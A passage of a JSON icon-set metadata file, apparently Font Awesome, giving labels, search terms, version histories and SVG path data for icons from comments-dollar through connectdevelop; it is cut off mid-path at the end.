        "width": 640,
        "height": 512,
        "path": "M208 352c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176c0 38.6 14.7 74.3 39.6 103.4c-3.5 9.4-8.7 17.7-14.2 24.7c-4.8 6.2-9.7 11-13.3 14.3c-1.8 1.6-3.3 2.9-4.3 3.7c-.5 .4-.9 .7-1.1 .8l-.2 .2 0 0 0 0C1 327.2-1.4 334.4 .8 340.9S9.1 352 16 352c21.8 0 43.8-5.6 62.1-12.5c9.2-3.5 17.8-7.4 25.3-11.4C134.1 343.3 169.8 352 208 352zM448 176c0 112.3-99.1 196.9-216.5 207C255.8 457.4 336.4 512 432 512c38.2 0 73.9-8.7 104.7-23.9c7.5 4 16 7.9 25.2 11.4c18.3 6.9 40.3 12.5 62.1 12.5c6.9 0 13.1-4.5 15.2-11.1c2.1-6.6-.2-13.8-5.8-17.9l0 0 0 0-.2-.2c-.2-.2-.6-.4-1.1-.8c-1-.8-2.5-2-4.3-3.7c-3.6-3.3-8.5-8.1-13.3-14.3c-5.5-7-10.7-15.4-14.2-24.7c24.9-29 39.6-64.7 39.6-103.4c0-92.8-84.9-168.9-192.6-175.5c.4 5.1 .6 10.3 .6 15.5z"
      },
      "regular": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M88.2 309.1c9.8-18.3 6.8-40.8-7.5-55.8C59.4 230.9 48 204 48 176c0-63.5 63.8-128 160-128s160 64.5 160 128s-63.8 128-160 128c-13.1 0-25.8-1.3-37.8-3.6c-10.4-2-21.2-.6-30.7 4.2c-4.1 2.1-8.3 4.1-12.6 6c-16 7.2-32.9 13.5-49.9 18c2.8-4.6 5.4-9.1 7.9-13.6c1.1-1.9 2.2-3.9 3.2-5.9zM0 176c0 41.8 17.2 80.1 45.9 110.3c-.9 1.7-1.9 3.5-2.8 5.1c-10.3 18.4-22.3 36.5-36.6 52.1c-6.6 7-8.3 17.2-4.6 25.9C5.8 378.3 14.4 384 24 384c43 0 86.5-13.3 122.7-29.7c4.8-2.2 9.6-4.5 14.2-6.8c15.1 3 30.9 4.5 47.1 4.5c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176zM432 480c16.2 0 31.9-1.6 47.1-4.5c4.6 2.3 9.4 4.6 14.2 6.8C529.5 498.7 573 512 616 512c9.6 0 18.2-5.7 22-14.5c3.8-8.8 2-19-4.6-25.9c-14.2-15.6-26.2-33.7-36.6-52.1c-.9-1.7-1.9-3.4-2.8-5.1C622.8 384.1 640 345.8 640 304c0-94.4-87.9-171.5-198.2-175.8c4.1 15.2 6.2 31.2 6.2 47.8l0 .6c87.2 6.7 144 67.5 144 127.4c0 28-11.4 54.9-32.7 77.2c-14.3 15-17.3 37.6-7.5 55.8c1.1 2 2.2 4 3.2 5.9c2.5 4.5 5.2 9 7.9 13.6c-17-4.5-33.9-10.7-49.9-18c-4.3-1.9-8.5-3.9-12.6-6c-9.5-4.8-20.3-6.2-30.7-4.2c-12.1 2.4-24.7 3.6-37.8 3.6c-61.7 0-110-26.5-136.8-62.3c-16 5.4-32.8 9.4-50 11.8C279 439.8 350 480 432 480z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M88.2 309.1c9.8-18.3 6.8-40.8-7.5-55.8C59.4 230.9 48 204 48 176c0-63.5 63.8-128 160-128s160 64.5 160 128s-63.8 128-160 128c-13.1 0-25.8-1.3-37.8-3.6c-10.4-2-21.2-.6-30.7 4.2c-4.1 2.1-8.3 4.1-12.6 6c-16 7.2-32.9 13.5-49.9 18c2.8-4.6 5.4-9.1 7.9-13.6c1.1-1.9 2.2-3.9 3.2-5.9zM0 176c0 41.8 17.2 80.1 45.9 110.3c-.9 1.7-1.9 3.5-2.8 5.1c-10.3 18.4-22.3 36.5-36.6 52.1c-6.6 7-8.3 17.2-4.6 25.9C5.8 378.3 14.4 384 24 384c43 0 86.5-13.3 122.7-29.7c4.8-2.2 9.6-4.5 14.2-6.8c15.1 3 30.9 4.5 47.1 4.5c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176zM432 480c16.2 0 31.9-1.6 47.1-4.5c4.6 2.3 9.4 4.6 14.2 6.8C529.5 498.7 573 512 616 512c9.6 0 18.2-5.7 22-14.5c3.8-8.8 2-19-4.6-25.9c-14.2-15.6-26.2-33.7-36.6-52.1c-.9-1.7-1.9-3.4-2.8-5.1C622.8 384.1 640 345.8 640 304c0-94.4-87.9-171.5-198.2-175.8c4.1 15.2 6.2 31.2 6.2 47.8l0 .6c87.2 6.7 144 67.5 144 127.4c0 28-11.4 54.9-32.7 77.2c-14.3 15-17.3 37.6-7.5 55.8c1.1 2 2.2 4 3.2 5.9c2.5 4.5 5.2 9 7.9 13.6c-17-4.5-33.9-10.7-49.9-18c-4.3-1.9-8.5-3.9-12.6-6c-9.5-4.8-20.3-6.2-30.7-4.2c-12.1 2.4-24.7 3.6-37.8 3.6c-61.7 0-110-26.5-136.8-62.3c-16 5.4-32.8 9.4-50 11.8C279 439.8 350 480 432 480z"
      }
    },
    "free": ["regular", "solid"]
  },
  "comments-dollar": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f653"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "money",
        "note",
        "notification",
        "pay",
        "sms",
        "speech",
        "spend",
        "texting",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f653",
    "label": "Comments Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M416 176c0 97.2-93.1 176-208 176c-38.2 0-73.9-8.7-104.7-23.9c-7.5 4-16 7.9-25.2 11.4C59.8 346.4 37.8 352 16 352c-6.9 0-13.1-4.5-15.2-11.1s.2-13.8 5.8-17.9l0 0 0 0 .2-.2c.2-.2 .6-.4 1.1-.8c1-.8 2.5-2 4.3-3.7c3.6-3.3 8.5-8.1 13.3-14.3c5.5-7 10.7-15.4 14.2-24.7C14.7 250.3 0 214.6 0 176C0 78.8 93.1 0 208 0S416 78.8 416 176zM231.5 383C348.9 372.9 448 288.3 448 176c0-5.2-.2-10.4-.6-15.5C555.1 167.1 640 243.2 640 336c0 38.6-14.7 74.3-39.6 103.4c3.5 9.4 8.7 17.7 14.2 24.7c4.8 6.2 9.7 11 13.3 14.3c1.8 1.6 3.3 2.9 4.3 3.7c.5 .4 .9 .7 1.1 .8l.2 .2 0 0 0 0c5.6 4.1 7.9 11.3 5.8 17.9c-2.1 6.6-8.3 11.1-15.2 11.1c-21.8 0-43.8-5.6-62.1-12.5c-9.2-3.5-17.8-7.4-25.2-11.4C505.9 503.3 470.2 512 432 512c-95.6 0-176.2-54.6-200.5-129zM228 72c0-11-9-20-20-20s-20 9-20 20V86c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V280c0 11 9 20 20 20s20-9 20-20V266.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V72z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M416 176c0 97.2-93.1 176-208 176c-38.2 0-73.9-8.7-104.7-23.9c-7.5 4-16 7.9-25.2 11.4C59.8 346.4 37.8 352 16 352c-6.9 0-13.1-4.5-15.2-11.1s.2-13.8 5.8-17.9l0 0 0 0 .2-.2c.2-.2 .6-.4 1.1-.8c1-.8 2.5-2 4.3-3.7c3.6-3.3 8.5-8.1 13.3-14.3c5.5-7 10.7-15.4 14.2-24.7C14.7 250.3 0 214.6 0 176C0 78.8 93.1 0 208 0S416 78.8 416 176zM231.5 383C348.9 372.9 448 288.3 448 176c0-5.2-.2-10.4-.6-15.5C555.1 167.1 640 243.2 640 336c0 38.6-14.7 74.3-39.6 103.4c3.5 9.4 8.7 17.7 14.2 24.7c4.8 6.2 9.7 11 13.3 14.3c1.8 1.6 3.3 2.9 4.3 3.7c.5 .4 .9 .7 1.1 .8l.2 .2 0 0 0 0c5.6 4.1 7.9 11.3 5.8 17.9c-2.1 6.6-8.3 11.1-15.2 11.1c-21.8 0-43.8-5.6-62.1-12.5c-9.2-3.5-17.8-7.4-25.2-11.4C505.9 503.3 470.2 512 432 512c-95.6 0-176.2-54.6-200.5-129zM228 72c0-11-9-20-20-20s-20 9-20 20V86c-7.6 1.7-15.2 4.4-22.2 8.5c-13.9 8.3-25.9 22.8-25.8 43.9c.1 20.3 12 33.1 24.7 40.7c11 6.6 24.7 10.8 35.6 14l1.7 .5c12.6 3.8 21.8 6.8 28 10.7c5.1 3.2 5.8 5.4 5.9 8.2c.1 5-1.8 8-5.9 10.5c-5 3.1-12.9 5-21.4 4.7c-11.1-.4-21.5-3.9-35.1-8.5c-2.3-.8-4.7-1.6-7.2-2.4c-10.5-3.5-21.8 2.2-25.3 12.6s2.2 21.8 12.6 25.3c1.9 .6 4 1.3 6.1 2.1l0 0 0 0c8.3 2.9 17.9 6.2 28.2 8.4V280c0 11 9 20 20 20s20-9 20-20V266.2c8-1.7 16-4.5 23.2-9c14.3-8.9 25.1-24.1 24.8-45c-.3-20.3-11.7-33.4-24.6-41.6c-11.5-7.2-25.9-11.6-37.1-15l-.7-.2c-12.8-3.9-21.9-6.7-28.3-10.5c-5.2-3.1-5.3-4.9-5.3-6.7c0-3.7 1.4-6.5 6.2-9.3c5.4-3.2 13.6-5.1 21.5-5c9.6 .1 20.2 2.2 31.2 5.2c10.7 2.8 21.6-3.5 24.5-14.2s-3.5-21.6-14.2-24.5c-6.5-1.7-13.7-3.4-21.1-4.7V72z"
      }
    },
    "free": ["solid"]
  },
  "compact-disc": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4bf", "1f4c0", "1f5b8"],
        "secondary": ["10f51f"]
      }
    },
    "changes": [
      "5.0.13",
      "5.10.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Optical Disc Icon",
        "album",
        "blu-ray",
        "bluray",
        "cd",
        "computer",
        "disc",
        "disk",
        "dvd",
        "media",
        "movie",
        "music",
        "optical",
        "optical disk",
        "record",
        "video",
        "vinyl"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51f",
    "label": "Compact Disc",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 32a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-96-32a96 96 0 1 0 192 0 96 96 0 1 0 -192 0zM96 240c0-35 17.5-71.1 45.2-98.8S205 96 240 96c8.8 0 16-7.2 16-16s-7.2-16-16-16c-45.4 0-89.2 22.3-121.5 54.5S64 194.6 64 240c0 8.8 7.2 16 16 16s16-7.2 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 32a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm-96-32a96 96 0 1 0 192 0 96 96 0 1 0 -192 0zM96 240c0-35 17.5-71.1 45.2-98.8S205 96 240 96c8.8 0 16-7.2 16-16s-7.2-16-16-16c-45.4 0-89.2 22.3-121.5 54.5S64 194.6 64 240c0 8.8 7.2 16 16 16s16-7.2 16-16z"
      }
    },
    "free": ["solid"]
  },
  "compass": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9ed"],
        "secondary": ["10f14e"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.2.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "compass",
        "directions",
        "directory",
        "location",
        "magnetic",
        "menu",
        "navigation",
        "orienteering",
        "safari",
        "travel"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f14e",
    "label": "Compass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm50.7-186.9L162.4 380.6c-19.4 7.5-38.5-11.6-31-31l55.5-144.3c3.3-8.5 9.9-15.1 18.4-18.4l144.3-55.5c19.4-7.5 38.5 11.6 31 31L325.1 306.7c-3.2 8.5-9.9 15.1-18.4 18.4zM288 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm50.7-186.9L162.4 380.6c-19.4 7.5-38.5-11.6-31-31l55.5-144.3c3.3-8.5 9.9-15.1 18.4-18.4l144.3-55.5c19.4-7.5 38.5 11.6 31 31L325.1 306.7c-3.2 8.5-9.9 15.1-18.4 18.4zM288 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      },
      "regular": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm306.7 69.1L162.4 380.6c-19.4 7.5-38.5-11.6-31-31l55.5-144.3c3.3-8.5 9.9-15.1 18.4-18.4l144.3-55.5c19.4-7.5 38.5 11.6 31 31L325.1 306.7c-3.2 8.5-9.9 15.1-18.4 18.4zM288 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm306.7 69.1L162.4 380.6c-19.4 7.5-38.5-11.6-31-31l55.5-144.3c3.3-8.5 9.9-15.1 18.4-18.4l144.3-55.5c19.4-7.5 38.5 11.6 31 31L325.1 306.7c-3.2 8.5-9.9 15.1-18.4 18.4zM288 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "compass-drafting": {
    "aliases": {
      "names": ["drafting-compass"],
      "unicodes": {
        "secondary": ["10f568"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "map", "mechanical drawing", "plot", "plotting"]
    },
    "styles": ["solid"],
    "unicode": "f568",
    "label": "Compass Drafting",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 96c0 14.3-3.1 27.9-8.8 40.2L396 227.4c-23.7 25.3-54.2 44.1-88.5 53.6L256 192h0 0l-68 117.5c21.5 6.8 44.3 10.5 68.1 10.5c70.7 0 133.8-32.7 174.9-84c11.1-13.8 31.2-16 45-5s16 31.2 5 45C428.1 341.8 347 384 256 384c-35.4 0-69.4-6.4-100.7-18.1L98.7 463.7C94 471.8 87 478.4 78.6 482.6L23.2 510.3c-5 2.5-10.9 2.2-15.6-.7S0 501.5 0 496V440.6c0-8.4 2.2-16.7 6.5-24.1l60-103.7C53.7 301.6 41.8 289.3 31.2 276c-11.1-13.8-8.8-33.9 5-45s33.9-8.8 45 5c5.7 7.1 11.8 13.8 18.2 20.1l69.4-119.9c-5.6-12.2-8.8-25.8-8.8-40.2c0-53 43-96 96-96s96 43 96 96zm21 297.9c32.6-12.8 62.5-30.8 88.9-52.9l43.7 75.5c4.2 7.3 6.5 15.6 6.5 24.1V496c0 5.5-2.9 10.7-7.6 13.6s-10.6 3.2-15.6 .7l-55.4-27.7c-8.4-4.2-15.4-10.8-20.1-18.9L373 393.9zM256 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 96c0 14.3-3.1 27.9-8.8 40.2L396 227.4c-23.7 25.3-54.2 44.1-88.5 53.6L256 192h0 0l-68 117.5c21.5 6.8 44.3 10.5 68.1 10.5c70.7 0 133.8-32.7 174.9-84c11.1-13.8 31.2-16 45-5s16 31.2 5 45C428.1 341.8 347 384 256 384c-35.4 0-69.4-6.4-100.7-18.1L98.7 463.7C94 471.8 87 478.4 78.6 482.6L23.2 510.3c-5 2.5-10.9 2.2-15.6-.7S0 501.5 0 496V440.6c0-8.4 2.2-16.7 6.5-24.1l60-103.7C53.7 301.6 41.8 289.3 31.2 276c-11.1-13.8-8.8-33.9 5-45s33.9-8.8 45 5c5.7 7.1 11.8 13.8 18.2 20.1l69.4-119.9c-5.6-12.2-8.8-25.8-8.8-40.2c0-53 43-96 96-96s96 43 96 96zm21 297.9c32.6-12.8 62.5-30.8 88.9-52.9l43.7 75.5c4.2 7.3 6.5 15.6 6.5 24.1V496c0 5.5-2.9 10.7-7.6 13.6s-10.6 3.2-15.6 .7l-55.4-27.7c-8.4-4.2-15.4-10.8-20.1-18.9L373 393.9zM256 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "compress": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f066"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "collapse",
        "fullscreen",
        "minimize",
        "move",
        "resize",
        "shrink",
        "smaller"
      ]
    },
    "styles": ["solid"],
    "unicode": "f066",
    "label": "Compress",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 64c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V64zM32 320c-17.7 0-32 14.3-32 32s14.3 32 32 32H96v64c0 17.7 14.3 32 32 32s32-14.3 32-32V352c0-17.7-14.3-32-32-32H32zM352 64c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V64zM320 320c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 64c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V64zM32 320c-17.7 0-32 14.3-32 32s14.3 32 32 32H96v64c0 17.7 14.3 32 32 32s32-14.3 32-32V352c0-17.7-14.3-32-32-32H32zM352 64c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V64zM320 320c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320z"
      }
    },
    "free": ["solid"]
  },
  "computer": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["computer", "desktop", "display", "monitor", "tower"]
    },
    "styles": ["solid"],
    "unicode": "e4e5",
    "label": "Computer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M384 96V320H64L64 96H384zM64 32C28.7 32 0 60.7 0 96V320c0 35.3 28.7 64 64 64H181.3l-10.7 32H96c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H277.3l-10.7-32H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm464 0c-26.5 0-48 21.5-48 48V432c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H528zm16 64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H544c-8.8 0-16-7.2-16-16s7.2-16 16-16zm-16 80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H544c-8.8 0-16-7.2-16-16zm32 160a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M384 96V320H64L64 96H384zM64 32C28.7 32 0 60.7 0 96V320c0 35.3 28.7 64 64 64H181.3l-10.7 32H96c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H277.3l-10.7-32H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm464 0c-26.5 0-48 21.5-48 48V432c0 26.5 21.5 48 48 48h64c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H528zm16 64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H544c-8.8 0-16-7.2-16-16s7.2-16 16-16zm-16 80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H544c-8.8 0-16-7.2-16-16zm32 160a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "computer-mouse": {
    "aliases": {
      "names": ["mouse"],
      "unicodes": {
        "composite": ["1f5b1"],
        "secondary": ["10f8cc"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "click",
        "computer",
        "computer mouse",
        "cursor",
        "input",
        "peripheral"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8cc",
    "label": "Computer Mouse",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 192H176V0H160C71.6 0 0 71.6 0 160v32zm0 32V352c0 88.4 71.6 160 160 160h64c88.4 0 160-71.6 160-160V224H192 0zm384-32V160C384 71.6 312.4 0 224 0H208V192H384z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 192H176V0H160C71.6 0 0 71.6 0 160v32zm0 32V352c0 88.4 71.6 160 160 160h64c88.4 0 160-71.6 160-160V224H192 0zm384-32V160C384 71.6 312.4 0 224 0H208V192H384z"
      }
    },
    "free": ["solid"]
  },
  "confluence": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["atlassian"]
    },
    "styles": ["brands"],
    "unicode": "f78d",
    "label": "Confluence",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z"
      }
    },
    "free": ["brands"]
  },
  "connectdevelop": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f20e",
    "label": "Connect Develop",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 